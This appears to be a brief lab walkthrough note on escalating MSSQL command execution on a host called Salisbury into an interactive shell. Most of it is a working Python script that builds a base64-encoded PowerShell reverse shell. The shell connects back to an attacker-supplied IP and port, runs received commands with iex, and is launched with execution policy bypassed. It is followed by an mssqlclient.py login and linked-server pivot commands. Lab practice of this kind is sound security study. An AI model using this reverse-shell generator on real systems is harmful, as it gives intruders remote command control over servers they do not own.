MSSQL Command execution to shell - Salisbury

• We got command execution on Yonkers and also on Salisbury. But now we want a shell to interact with the server.

#!/usr/bin/env python
import base64
import sys

if len(sys.argv) < 3:
  print('usage : %s ip port' % sys.argv[0])
  sys.exit(0)

payload="""
$c = New-Object System.Net.Sockets.TCPClient('%s',%s);
$s = $c.GetStream();[byte[]]$b = 0..65535|%%{0};
while(($i = $s.Read($b, 0, $b.Length)) -ne 0){
    $d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);
    $sb = (iex $d 2>&1 | Out-String );
    $sb = ([text.encoding]::ASCII).GetBytes($sb + 'ps> ');
    $s.Write($sb,0,$sb.Length);
    $s.Flush()
};
$c.Close()
""" % (sys.argv[1], sys.argv[2])

byte = payload.encode('utf-16-le')
b64 = base64.b64encode(byte)
print("powershell -exec bypass -enc %s" % b64.decode())

• run it and get a shell

mssqlclient.py -windows-auth north.newyork.local/elena.lopez:[e-mail]

use_link Salisbury